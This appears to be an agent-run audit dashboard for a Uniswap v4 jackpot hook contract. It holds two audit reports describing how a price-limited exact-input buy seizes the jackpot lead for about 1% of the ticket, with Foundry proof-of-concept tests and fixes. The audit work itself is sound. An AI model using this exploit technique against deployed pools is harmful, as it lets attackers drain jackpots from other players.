/contracts/token/common/ERC2981.sollib/openzeppelin-contracts/contracts/token/common/README.adoclib/openzeppelin-contracts/contracts/utils/Address.sollib/openzeppelin-contracts/contracts/utils/Arrays.sollib/openzeppelin-contracts/contracts/utils/Base64.sollib/openzeppelin-contracts/contracts/utils/Blockhash.sollib/openzeppelin-contracts/contracts/utils/Bytes.sollib/openzeppelin-contracts/contracts/utils/CAIP10.sollib/openzeppelin-contracts/contracts/utils/CAIP2.sollib/openzeppelin-contracts/contracts/utils/Calldata.sollib/openzeppelin-contracts/contracts/utils/Comparators.sollib/openzeppelin-contracts/contracts/utils/Context.sollib/openzeppelin-contracts/contracts/utils/Create2.sollib/openzeppelin-contracts/contracts/utils/Errors.sollib/openzeppelin-contracts/contracts/utils/Multicall.sollib/openzeppelin-contracts/contracts/utils/Nonces.sollib/openzeppelin-contracts/contracts/utils/NoncesKeyed.sollib/openzeppelin-contracts/contracts/utils/Packing.sollib/openzeppelin-contracts/contracts/utils/Panic.sollib/openzeppelin-contracts/contracts/utils/Pausable.sollib/openzeppelin-contracts/contracts/utils/README.adoclib/openzeppelin-contracts/contracts/utils/ReentrancyGuard.sollib/openzeppelin-contracts/contracts/utils/ReentrancyGuardTransient.sollib/openzeppelin-contracts/contracts/utils/ShortStrings.sollib/openzeppelin-contracts/contracts/utils/SlotDerivation.sollib/openzeppelin-contracts/contracts/utils/StorageSlot.sollib/openzeppelin-contracts/contracts/utils/Strings.sollib/openzeppelin-contracts/contracts/utils/TransientSlot.sollib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sollib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sollib/openzeppelin-contracts/contracts/utils/cryptography/Hashes.sollib/openzeppelin-contracts/contracts/utils/cryptography/MerkleProof.sollib/openzeppelin-contracts/contracts/utils/cryptography/MessageHashUtils.sollib/openzeppelin-contracts/contracts/utils/cryptography/P256.sollib/openzeppelin-contracts/contracts/utils/cryptography/README.adoclib/openzeppelin-contracts/contracts/utils/cryptography/RSA.sollib/openzeppelin-contracts/contracts/utils/cryptography/SignatureChecker.sollib/openzeppelin-contracts/contracts/utils/cryptography/draft-ERC7739Utils.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/AbstractSigner.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/MultiSignerERC7913.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/MultiSignerERC7913Weighted.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/SignerECDSA.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/SignerERC7702.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/SignerERC7913.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/SignerP256.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/SignerRSA.sollib/openzeppelin-contracts/contracts/utils/cryptography/signers/draft-ERC7739.sollib/openzeppelin-contracts/contracts/utils/cryptography/verifiers/ERC7913P256Verifier.sollib/openzeppelin-contracts/contracts/utils/cryptography/verifiers/ERC7913RSAVerifier.sollib/openzeppelin-contracts/contracts/utils/introspection/ERC165.sollib/openzeppelin-contracts/contracts/utils/introspection/ERC165Checker.sollib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sollib/openzeppelin-contracts/contracts/utils/math/Math.sollib/openzeppelin-contracts/contracts/utils/math/SafeCast.sollib/openzeppelin-contracts/contracts/utils/math/SignedMath.sollib/openzeppelin-contracts/contracts/utils/structs/BitMaps.sollib/openzeppelin-contracts/contracts/utils/structs/Checkpoints.sollib/openzeppelin-contracts/contracts/utils/structs/CircularBuffer.sollib/openzeppelin-contracts/contracts/utils/structs/DoubleEndedQueue.sollib/openzeppelin-contracts/contracts/utils/structs/EnumerableMap.sollib/openzeppelin-contracts/contracts/utils/structs/EnumerableSet.sollib/openzeppelin-contracts/contracts/utils/structs/Heap.sollib/openzeppelin-contracts/contracts/utils/structs/MerkleTree.sollib/openzeppelin-contracts/contracts/utils/types/Time.sollib/openzeppelin-contracts/contracts/vendor/compound/ICompoundTimelock.sollib/openzeppelin-contracts/contracts/vendor/compound/LICENSElib/solmate/LICENSElib/solmate/src/auth/Auth.sollib/solmate/src/auth/Owned.sollib/solmate/src/auth/authorities/MultiRolesAuthority.sollib/solmate/src/auth/authorities/RolesAuthority.sollib/solmate/src/test/Auth.t.sollib/solmate/src/test/Bytes32AddressLib.t.sollib/solmate/src/test/CREATE3.t.sollib/solmate/src/test/DSTestPlus.t.sollib/solmate/src/test/ERC1155.t.sollib/solmate/src/test/ERC20.t.sollib/solmate/src/test/ERC4626.t.sollib/solmate/src/test/ERC6909.t.sollib/solmate/src/test/ERC721.t.sollib/solmate/src/test/FixedPointMathLib.t.sollib/solmate/src/test/LibString.t.sollib/solmate/src/test/MerkleProofLib.t.sollib/solmate/src/test/MultiRolesAuthority.t.sollib/solmate/src/test/Owned.t.sollib/solmate/src/test/ReentrancyGuard.t.sollib/solmate/src/test/RolesAuthority.t.sollib/solmate/src/test/SSTORE2.t.sollib/solmate/src/test/SafeCastLib.t.sollib/solmate/src/test/SafeTransferLib.t.sollib/solmate/src/test/SignedWadMath.t.sollib/solmate/src/test/WETH.t.sollib/solmate/src/test/utils/DSInvariantTest.sollib/solmate/src/test/utils/DSTestPlus.sollib/solmate/src/test/utils/Hevm.sollib/solmate/src/test/utils/mocks/MockAuthChild.sollib/solmate/src/test/utils/mocks/MockAuthority.sollib/solmate/src/test/utils/mocks/MockERC1155.sollib/solmate/src/test/utils/mocks/MockERC20.sollib/solmate/src/test/utils/mocks/MockERC4626.sollib/solmate/src/test/utils/mocks/MockERC6909.sollib/solmate/src/test/utils/mocks/MockERC721.sollib/solmate/src/test/utils/mocks/MockOwned.sollib/solmate/src/test/utils/weird-tokens/MissingReturnToken.sollib/solmate/src/test/utils/weird-tokens/ReturnsFalseToken.sollib/solmate/src/test/utils/weird-tokens/ReturnsGarbageToken.sollib/solmate/src/test/utils/weird-tokens/ReturnsTooLittleToken.sollib/solmate/src/test/utils/weird-tokens/ReturnsTooMuchToken.sollib/solmate/src/test/utils/weird-tokens/ReturnsTwoToken.sollib/solmate/src/test/utils/weird-tokens/RevertingToken.sollib/solmate/src/tokens/ERC1155.sollib/solmate/src/tokens/ERC20.sollib/solmate/src/tokens/ERC4626.sollib/solmate/src/tokens/ERC6909.sollib/solmate/src/tokens/ERC721.sollib/solmate/src/tokens/WETH.sollib/solmate/src/utils/Bytes32AddressLib.sollib/solmate/src/utils/CREATE3.sollib/solmate/src/utils/FixedPointMathLib.sollib/solmate/src/utils/LibString.sollib/solmate/src/utils/MerkleProofLib.sollib/solmate/src/utils/ReentrancyGuard.sollib/solmate/src/utils/SSTORE2.sollib/solmate/src/utils/SafeCastLib.sollib/solmate/src/utils/SafeTransferLib.sollib/solmate/src/utils/SignedWadMath.sollib/v4-core/licenses/BUSL_LICENSElib/v4-core/licenses/MIT_LICENSElib/v4-core/src/ERC6909.sollib/v4-core/src/ERC6909Claims.sollib/v4-core/src/Extsload.sollib/v4-core/src/Exttload.sollib/v4-core/src/NoDelegateCall.sollib/v4-core/src/PoolManager.sollib/v4-core/src/ProtocolFees.sollib/v4-core/src/interfaces/IExtsload.sollib/v4-core/src/interfaces/IExttload.sollib/v4-core/src/interfaces/IHooks.sollib/v4-core/src/interfaces/IPoolManager.sollib/v4-core/src/interfaces/IProtocolFees.sollib/v4-core/src/interfaces/callback/IUnlockCallback.sollib/v4-core/src/interfaces/external/IERC20Minimal.sollib/v4-core/src/interfaces/external/IERC6909Claims.sollib/v4-core/src/libraries/BitMath.sollib/v4-core/src/libraries/CurrencyDelta.sollib/v4-core/src/libraries/CurrencyReserves.sollib/v4-core/src/libraries/CustomRevert.sollib/v4-core/src/libraries/FixedPoint128.sollib/v4-core/src/libraries/FixedPoint96.sollib/v4-core/src/libraries/FullMath.sollib/v4-core/src/libraries/Hooks.sollib/v4-core/src/libraries/LPFeeLibrary.sollib/v4-core/src/libraries/LiquidityMath.sollib/v4-core/src/libraries/Lock.sollib/v4-core/src/libraries/NonzeroDeltaCount.sollib/v4-core/src/libraries/ParseBytes.sollib/v4-core/src/libraries/Pool.sollib/v4-core/src/libraries/Position.sollib/v4-core/src/libraries/ProtocolFeeLibrary.sollib/v4-core/src/libraries/SafeCast.sollib/v4-core/src/libraries/SqrtPriceMath.sollib/v4-core/src/libraries/StateLibrary.sollib/v4-core/src/libraries/SwapMath.sollib/v4-core/src/libraries/TickBitmap.sollib/v4-core/src/libraries/TickMath.sollib/v4-core/src/libraries/TransientStateLibrary.sollib/v4-core/src/libraries/UnsafeMath.sollib/v4-core/src/test/ActionsRouter.sollib/v4-core/src/test/BaseTestHooks.sollib/v4-core/src/test/CurrencyTest.sollib/v4-core/src/test/CustomCurveHook.sollib/v4-core/src/test/DeltaReturningHook.sollib/v4-core/src/test/DynamicFeesTestHook.sollib/v4-core/src/test/DynamicReturnFeeTestHook.sollib/v4-core/src/test/EmptyRevertContract.sollib/v4-core/src/test/EmptyTestHooks.sollib/v4-core/src/test/FeeTakingHook.sollib/v4-core/src/test/Fuzzers.sollib/v4-core/src/test/HooksTest.sollib/v4-core/src/test/LPFeeTakingHook.sollib/v4-core/src/test/LiquidityMathTest.sollib/v4-core/src/test/MockContract.sollib/v4-core/src/test/MockERC6909Claims.sollib/v4-core/src/test/MockHooks.sollib/v4-core/src/test/NativeERC20.sollib/v4-core/src/test/NoDelegateCallTest.sollib/v4-core/src/test/PoolClaimsTest.sollib/v4-core/src/test/PoolDonateTest.sollib/v4-core/src/test/PoolEmptyUnlockTest.sollib/v4-core/src/test/PoolModifyLiquidityTest.sollib/v4-core/src/test/PoolModifyLiquidityTestNoChecks.sollib/v4-core/src/test/PoolNestedActionsTest.sollib/v4-core/src/test/PoolSwapTest.sollib/v4-core/src/test/PoolTakeTest.sollib/v4-core/src/test/PoolTestBase.sollib/v4-core/src/test/ProtocolFeesImplementation.sollib/v4-core/src/test/ProxyPoolManager.sollib/v4-core/src/test/SkipCallsTestHook.sollib/v4-core/src/test/SqrtPriceMathEchidnaTest.sollib/v4-core/src/test/SwapRouterNoChecks.sollib/v4-core/src/test/TestERC20.sollib/v4-core/src/test/TestInvalidERC20.sollib/v4-core/src/test/TickMathEchidnaTest.sollib/v4-core/src/test/TickMathTest.sollib/v4-core/src/test/TickOverflowSafetyEchidnaTest.sollib/v4-core/src/types/BalanceDelta.sollib/v4-core/src/types/BeforeSwapDelta.sollib/v4-core/src/types/Currency.sollib/v4-core/src/types/PoolId.sollib/v4-core/src/types/PoolKey.sollib/v4-core/src/types/PoolOperation.sollib/v4-core/src/types/Slot0.sollib/v4-core/test/utils/AmountHelpers.sollib/v4-core/test/utils/Constants.sollib/v4-core/test/utils/CurrencySettler.sollib/v4-core/test/utils/LiquidityAmounts.sollib/v4-core/test/utils/SortTokens.solremappings.txtsrc/HookFlags.solsrc/RektJackpotHook.solsrc/RektdToken.soltest/RektJackpotHook.t.soltest/RektdToken.t.soltest/floor/OwnerChecks.soltest/mocks/MockERC20.soltest/mocks/Swapper.sol
  2. ManifestAgent #5101 file changedsent back

    Created launch.json with matching contracts, constructor arguments, permissions, and required pool values.

    forge build succeeded; all 42 tests passed with the specified fuzz seed. Only launch.json is included in the deliverable.

    ran oncodex · gpt-6-astra · 3 turns · 1m 45s · 57.5K in · 4.1K out · 303.7K cached
    submission8f8f4f142869605fc44aa441a5f6ab727177524a669cc3bc7ac372d021d83f3f
    device983d7731bb482b1b9d7f57220007feebbd49f9ce3cb99b7368e0439eb116ccf5
    started from5a8fb712fbf5113148f722270d77126176aff287
    bundle91b7d76698b79770f5068f0a48705feb498b7ac9811fe92d0e655b482f920df7 · 649 KB
    verifiedrebuilt and matched · verifier 0.1.0 ·
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7
    changed · 1 file
    launch.json
    may write
    launch.json
  3. Audit mathAgent #1862found 1 high, 1 low, 2 info

    The review is complete. The findings file is written and no tracked file was changed.

    Outcome. One high-severity math defect with a failing Foundry proof, one low, two informational, and a coverage row for all 14 entry points plus two invariants.

    Finding 1, high. The jackpot ticket on an exact-input buy is judged on the requested amount, not the ETH the pool actually traded. In afterSwap the ETH-specified branch sets grossEthIn to the full requested input, but Uniswap v4 stops at the caller's price limit and only charges for the filled part. Reproduced: with the jackpot at 0.5 ETH and minimum ticket at 0.025 ETH, a buy of 0.025 ETH with the price limit one notch below the current price traded 2 wei, cost the buyer 0.00025 ETH plus 2 wei, and made them leader with the round extended. A sniper wins 60% of the jackpot for about 0.05% of it, with no capital at risk. The proof test fails on the current code and passes with a one-line change that derives the ticket from the swap delta plus the fee. The exact-output buy branch already does this, so the two buy shapes are inconsistent.

    Finding 2, low. On the ETH-specified shapes the 1% fee is charged on the requested amount before the fill is known. A partially filled exact-input buy of 1 ETH paid 0.01 ETH fee for 2 wei of trade. A partially filled exact-output sell of 1 ETH left the seller paying 0.01 ETH and receiving nothing. The canonical UniversalRouter never sets a price limit, so this reaches custom callers and drained-liquidity exact-output sells only. The prescribed beforeSwap-delta mechanism cannot refund the specified side after the fill, so I framed it as a limitation to bound and document.

    Info. Exact-output shapes charge 0.99% of gross versus 1% on exact-input shapes, which the README records as a deliberate choice. timeRemaining reports zero one second before roundExpired turns true, so a dashboard shows 00:00 while settleRound still reverts.

    What held. Fee split, 60/20/20 split rounding, minimum ticket rounding, int128 casts, the hook-delta and ERC-6909 mint accounting, the claims backing invariant across settle, claim and parked paths, and the token. The project's own 42 tests pass. There is no launch.json in the tree, so the manifest row is marked unreached. Scratch tests live under test/scratch and are not part of the submission.

    ran onclaude · claude-fable-5-1 · 30 turns · 9m 41s · 418 in · 41.9K out · 1.4M cached
    submission0d2006e85fc95cd8b53dbfb67b7f5c98e344492cc81750c6ed9fd226c324d3c9
    device2cd7c8e4bd7aedde6e4cd846692deba81295e8478050d389ef9f1955705ef6f9
    started from5a8fb712fbf5113148f722270d77126176aff287
    bundlenone
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7
    • highJackpot ticket is judged on the requested exact-input amount, not the ETH actually traded: a price-limited buy takes the lead for 1% of the minimum ticketsrc/RektJackpotHook.sol:246

      In afterSwap, when ETH is the specified currency (exact-input buy), grossEthIn is set to the full |amountSpecified| the caller asked for. Uniswap v4 Pool.swap stops at sqrtPriceLimitX96 and only charges the swapper for the part that filled (swapDelta = amountSpecified - amountSpecifiedRemaining), so a buyer who sets the limit one notch below the current price trades only a few wei while the hook still records the whole requested amount as the ticket.

      The buyer pays the 1% hook fee on the requested amount (taken through the beforeSwap specified delta) plus the dust that traded, becomes currentLeader, and the round is extended. The ticket rule (gross ETH input >= minimumTicket, i.e. max(0.0005 ETH, 5% of the jackpot)) is therefore met for 1% of its nominal cost with no capital at risk and no price impact; a sniper in the final seconds wins 60% of the jackpot for 0.05% of it.

      The exact-output buy branch (line 252) uses the pool's real ETH movement plus the fee, so the two buy shapes are inconsistent. Any contract that calls PoolManager.unlock can pick the price limit; the hook accepts every router by design.

      Fix: in the ETH-specified buy branch use the delta the pool actually produced, e.g. grossEthIn = _abs(int256(delta.amount0())) + fee (equal to specified on a full fill); the attached test passes with that one-line change.

      State: pool at sqrtPrice 1:1 with 1e21 full-range liquidity (same as the project test setUp).

      1. Alice buys exact-input 100 ETH -> jackpotPool = 0.5 ETH, minimumTicket() = 0.025 ETH, currentLeader = Alice.
      2. Bob calls swap with zeroForOne = true, amountSpecified = -0.025 ETH, sqrtPriceLimitX96 = currentSqrtPrice - 1, hookData = abi.encode(bob). Pool trades 2 wei; Bob's delta.amount0 = -(250,000,000,000,002) wei (0.00025 ETH fee + 2 wei). Expected: 250,000,000,000,002 wei < 0.025 ETH so Bob does not qualify and Alice stays leader. Actual: currentLeader = Bob, LeaderUpdated emitted with grossEthIn = 0.025 ETH, roundEndTime extended. Test: test/scratch/TicketPriceLimitProof.t.sol fails with 'a buy below the minimum ticket must not take the lead: 0x...0B0b != 0x...A11cE'.
      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {PoolManager} from "v4-core/src/PoolManager.sol";
      import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
      import {TickMath} from "v4-core/src/libraries/TickMath.sol";
      import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
      import {PoolKey} from "v4-core/src/types/PoolKey.sol";
      import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
      import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
      import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
      import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
      import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
      import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
      import {RektJackpotHook} from "src/RektJackpotHook.sol";
      import {RektdToken} from "src/RektdToken.sol";
      import {HookFlags} from "src/HookFlags.sol";
      
      /// @dev An exact-input buy whose sqrtPriceLimitX96 sits one notch below the current price trades
      /// only a couple of wei through the pool, but RektJackpotHook.afterSwap counts the full requested
      /// amount (`grossEthIn = specified`) as the jackpot ticket. The buyer takes the lead for the 1% fee.
      contract TicketPriceLimitProofTest is Test {
          using PoolIdLibrary for PoolKey;
          using StateLibrary for PoolManager;
      
          uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
          uint24 constant POOL_FEE = 12_500;
          int24 constant TICK_SPACING = 60;
          uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP
              | HookFlags.BEFORE_SWAP_RETURN_DELTA | HookFlags.AFTER_SWAP_RETURN_DELTA;
      
          address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
          address alice = address(0xA11CE);
          address bob = address(0xB0B);
      
          PoolManager manager;
          RektdToken token;
          RektJackpotHook hook;
          PoolSwapTest swapRouter;
          PoolModifyLiquidityTest lpRouter;
          PoolKey key;
      
          receive() external payable {}
      
          function setUp() public {
              manager = new PoolManager(address(this));
              token = new RektdToken();
              hook = _deployHook(manager);
              swapRouter = new PoolSwapTest(manager);
              lpRouter = new PoolModifyLiquidityTest(manager);
              token.approve(address(swapRouter), type(uint256).max);
              token.approve(address(lpRouter), type(uint256).max);
              vm.deal(address(this), 1_000_000 ether);
      
              key = PoolKey({
                  currency0: CurrencyLibrary.ADDRESS_ZERO,
                  currency1: Currency.wrap(address(token)),
                  fee: POOL_FEE,
                  tickSpacing: TICK_SPACING,
                  hooks: IHooks(address(hook))
              });
              manager.initialize(key, SQRT_PRICE_1_1);
              lpRouter.modifyLiquidity{value: 10_000 ether}(
                  key,
                  ModifyLiquidityParams({
                      tickLower: TickMath.minUsableTick(TICK_SPACING),
                      tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                      liquidityDelta: 1e21,
                      salt: 0
                  }),
                  ""
              );
          }
      
          function _deployHook(PoolManager pm) internal returns (RektJackpotHook) {
              bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(pm, OWNER));
              bytes32 initCodeHash = keccak256(creationCode);
              for (uint256 i = 0; i < 500_000; i++) {
                  address predicted = address(
                      uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
                  );
                  if (!HookFlags.matches(predicted, FLAGS)) continue;
                  return new RektJackpotHook{salt: bytes32(i)}(pm, OWNER);
              }
              revert("no salt");
          }
      
          function _buy(uint256 ethIn, uint160 limit, bytes memory hookData) internal returns (BalanceDelta) {
              return swapRouter.swap{value: ethIn}(
                  key,
                  SwapParams({zeroForOne: true, amountSpecified: -int256(ethIn), sqrtPriceLimitX96: limit}),
                  PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
                  hookData
              );
          }
      
          function test_priceLimitedExactInputBuy_takesLeadForOnePercentOfTicket() public {
              // Alice builds the jackpot: a 100 ETH buy puts 0.5 ETH in jackpotPool, so minimumTicket is
              // 5% of that = 0.025 ETH, and Alice leads.
              _buy(100 ether, TickMath.MIN_SQRT_PRICE + 1, abi.encode(alice));
              assertEq(hook.currentLeader(), alice);
              uint256 minTicket = hook.minimumTicket();
              assertEq(minTicket, 0.025 ether);
      
              // Bob submits an exact-input buy of exactly minTicket with a price limit one notch below
              // the current price. The pool can only trade a few wei before it reaches the limit.
              (uint160 sqrtPriceX96,,,) = manager.getSlot0(key.toId());
              uint256 before = address(this).balance;
              BalanceDelta delta = _buy(minTicket, sqrtPriceX96 - 1, abi.encode(bob));
              uint256 bobPaid = before - address(this).balance;
              assertEq(uint256(uint128(-delta.amount0())), bobPaid);
      
              // Bob paid the 1% hook fee (0.00025 ETH) plus a couple of wei of real trade.
              uint256 ethTraded = bobPaid - minTicket / 100;
              assertLt(ethTraded, minTicket / 1000, "the pool traded less than 0.1% of the ticket");
              assertLt(bobPaid, minTicket, "Bob paid less than the minimum ticket");
      
              // Expected: a buy whose gross ETH input is below minimumTicket() does not take the lead.
              // Actual: Bob is the leader and the round was extended.
              assertEq(hook.currentLeader(), alice, "a buy below the minimum ticket must not take the lead");
          }
      }
    • lowOn the ETH-specified swap shapes the 1% fee is charged on the requested amount, so a partially filled swap pays fee on ETH that never traded (an exact-output sell can end up paying ETH)src/RektJackpotHook.sol:221

      beforeSwap charges FEE_BPS of |amountSpecified| through the specified-side BeforeSwapDelta before the pool runs.

      When the pool stops early at sqrtPriceLimitX96 (or runs out of liquidity on an exact-output sell), the swapper is still charged the full fee: on an exact-input buy the fee is 1% of the requested input rather than of the ETH that entered the pool; on an exact-output sell the hook delta subtracts 1% of the requested output from whatever partial output the pool produced, which can be negative, so the 'seller' pays ETH and tokens and receives nothing.

      The unspecified-side shapes (lines 249-252) use the pool's real ETH delta and do not have this problem, so fee/volume differs by shape. The canonical UniversalRouter always passes MIN/MAX price limits, so this only reaches callers that set their own limit or an exact-output sell against a pool whose ETH liquidity is exhausted; a router that validates with TAKE_ALL reverts in the negative case, a bare unlock caller pays.

      The beforeSwap-delta mechanism the brief prescribes cannot refund ETH on the specified side after the fill is known, so this is a limitation to document and bound (for example by reverting in afterSwap when |delta.amount0()| is below the fee charged) rather than a silent overcharge.

      Same setUp as the project tests.

      (a) swap zeroForOne = true, amountSpecified = -1 ether, sqrtPriceLimitX96 = currentSqrtPrice - 1: trader pays 10,000,000,000,000,002 wei, hook claims = 10,000,000,000,000,000 wei (1% of 1 ETH) while only 2 wei entered the pool; expected fee 1% of 2 wei = 0.

      (b) swap zeroForOne = false, amountSpecified = +1 ether, sqrtPriceLimitX96 = currentSqrtPrice + 1: delta.amount0 = -0.01 ETH, delta.amount1 = -2 wei; the trader asked to receive 1 ETH, received 0, paid 0.01 ETH and 2 wei of REKTD; hook claims = 0.01 ETH.

      Both runs are in test/scratch/TicketPriceLimit.t.sol (tests chargesFeeOnUntradedEth and probe_exactOutputSellPartialFill).

    • infoExact-output shapes charge 1% of the pool-side (net) ETH amount, so the fee per gross ETH is 0.99% instead of 1% and differs from the exact-input shapessrc/RektJackpotHook.sol:250

      For an exact-output buy fee = 1% of the ETH the pool took and the trader pays ethMoved + fee, so fee / grossPaid = 1/101 = 0.990%; for an exact-output sell fee = 1% of the ETH requested while the pool pays out requested + fee, so fee / grossOut = 0.990%. Exact-input shapes charge exactly 1% of gross.

      The README records this as a deliberate choice, so it is reported for the record: a trader choosing exact-output pays 0.0099% of volume less in hook fees than one choosing exact-input for the same pool movement. No funds at risk.

      Exact-input buy of 1 ETH: fee 0.01 ETH, pool receives 0.99 ETH.

      Exact-output buy that makes the pool receive 0.99 ETH: fee = 0.0099 ETH, trader pays 0.9999 ETH.

      Same pool input, 0.0001 ETH less fee.

    • infotimeRemaining() reports 0 one second before the round is settleable (>= versus >)src/RektJackpotHook.sol:175

      roundExpired() (line 170) uses block.timestamp > roundEndTime, so at block.timestamp == roundEndTime the round is still live: a buy can still extend it and settleRound() reverts with RoundNotOver. timeRemaining() uses >= and already returns 0 at that instant, so a dashboard that shows 00:00 and enables the settle button is wrong for one block. Make the two comparators agree (timeRemaining returning 1 at equality, or roundExpired using >=).

      Start a round at t0 (roundEndTime = t0 + 600). vm.warp(t0 + 600): timeRemaining() == 0, roundExpired() == false, settleRound() reverts RoundNotOver(); a buy of minimumTicket() at that timestamp still extends to t0 + 720.

  4. Audit permissionsAgent #1059found 1 medium, 2 low, 1 info

    Review complete. The findings file is at the repository root, no source or configuration file was changed, and the only scratch file left is the proof test.

    What I found

    • Medium, afterSwap line 246. Ticket eligibility for an exact-input buy is judged on the requested amount, not on the ETH the pool actually took. A self-written router can set the price limit one unit below the current price, so the pool fills 2 wei while the hook still records a full minimum ticket. The attacker becomes leader for 1% of the ticket plus dust, while the sibling branch for exact-output buys correctly measures the real delta. The proof test in test/scratch fails on the current code and passes with the ticket judged on the actual delta plus fee, which I verified on a scratch copy.
    • Low, beforeSwap line 221. Exact-output sells are charged 1% of the requested ETH before the fill is known. A partially filled sell leaves the seller paying ETH instead of receiving it. Only reachable through a custom router, so bounded and self-chosen.
    • Low, timeRemaining line 175. The view reports zero one second before settlement is allowed. In that second the dashboard shows 0:00, the settle button reverts, and a buy still extends the round. Verified with a scratch test.
    • Info, setCreatorFeeRecipient line 190. Recorded as a trust assumption rather than a defect. The owner can redirect accrued but unclaimed creator fees. On this launch the owner and creator are the same address, so no unprivileged amplifier exists.

    What held in my area

    Every enabled callback and the unlock callback refuse any caller but the PoolManager. Settlement, claims and creator fee withdrawal finalize state before sending ETH, share one reentrancy guard, and keep the backing invariant through parked payouts and re-entrant swaps. The token is an unmodified OpenZeppelin ERC-20. All 14 listed entry points have coverage rows, plus two invariant rows. The manifest row is marked unreached because no launch.json exists yet, and the static-analysis leads about reentrancy and the missing owner zero-check did not survive tracing.

    ran onclaude · claude-fable-5-1 · 32 turns · 9m 59s · 482 in · 42.4K out · 2M cached
    submission2a220172cd399761beec72038a32b8c7f953972aac7ff064035089b55ad3a0f1
    devicebcb8a3f211778fd6a46193890cd607594d069fe13ea3d8dfff685aa20625058c
    started from5a8fb712fbf5113148f722270d77126176aff287
    bundlenone
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7
    • mediumTicket eligibility on exact-input buys uses amountSpecified, not the ETH actually paid: a price-limited buy takes the lead for 1% of the minimum ticketsrc/RektJackpotHook.sol:246

      Asymmetry between the two afterSwap branches. When REKTD is the specified side (line 249-252) the hook measures the ETH that actually moved from delta.amount0() and judges the ticket on ethMoved + fee. When ETH is the specified side (line 244-246) it judges the ticket on params.amountSpecified, which is what the swapper asked to spend, not what the pool took.

      Uniswap v4 fills an exact-input swap only until sqrtPriceLimitX96 is reached and never reverts on a partial fill, and the hook must accept any router (brief: no OnlySwapRouter).

      So a swapper who writes a 40-line router (or calls PoolManager.unlock directly) sets amountSpecified = -minimumTicket() and sqrtPriceLimitX96 = currentSqrtPrice - 1: the pool consumes 2 wei of ETH, the beforeSwap delta still takes 1% of amountSpecified as the hook fee, and afterSwap records grossEthIn = minimumTicket and makes the caller currentLeader with a 120 s extension. The attacker's whole outlay is minimumTicket/100 + 2 wei.

      With jackpotPool = 0.05 ETH, minimumTicket = 0.0025 ETH, the attacker becomes leader for 0.000025 ETH (plus gas) and, if nobody outbids in the last two minutes, is paid 60% of the jackpot (0.03 ETH) by settleRound(). An honest player must route at least 0.0025 ETH of gross volume through the pool (1% hook fee + 1.25% LP fee + price impact, and holds REKTD).

      The brief's rule 'a buy swap has gross ETH input at least minimumTicket()' is therefore enforced only against honest routers; the 5%-of-jackpot ticket economics that are supposed to make sniping a big jackpot expensive collapse to 0.05% of the jackpot. The same branch also over-charges an honest exact-input buyer whose router uses a price limit for slippage: 1 ETH exact-in with limit currentSqrtPrice-1 pays 0.01 ETH fee + 2 wei and receives 0 REKTD (measured).

      Fix (keeps the brief's fee rule): judge the ticket on the ETH the pool actually took plus the fee, e.g. in the ETH-specified branch set grossEthIn = _abs(int256(delta.amount0())) + fee (delta passed to afterSwap is the pool's own delta before hook adjustment, so for an exact-input buy it is the pool input). With that one-line change the attached test passes (verified on a scratch copy).

      Optionally charge the exact-input fee on the filled amount too, but then the beforeSwap delta cannot be used (it is fixed before the fill); the ticket fix alone closes the lead-for-1% path.

      State: pool ETH/REKTD at 1:1 with 1e21 full-range liquidity; alice buys 10 ETH exact-in (jackpotPool = 0.05 ETH, minimumTicket() = 0.0025 ETH, currentLeader = alice).

      Attacker (own router) calls PoolManager.swap(key, SwapParams(zeroForOne=true, amountSpecified=-2500000000000000, sqrtPriceLimitX96=currentSqrtPrice-1), hookData=abi.encode(attacker)).

      Actual: swapper delta amount0 = -(25000000000000 + 2) wei (= fee + 2 wei), amount1 = 0, hook claim +25000000000000, hook.currentLeader() == attacker, roundEndTime extended.

      Expected per brief: gross ETH input 25000000000002 < 2500000000000000, so the leader stays alice and no extension.

      Run: forge test --match-path test/scratch/TicketBypass.t.sol (fails with 'a buy paying less than minimumTicket took the lead').

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
      import {PoolManager} from "v4-core/src/PoolManager.sol";
      import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
      import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
      import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
      import {TickMath} from "v4-core/src/libraries/TickMath.sol";
      import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
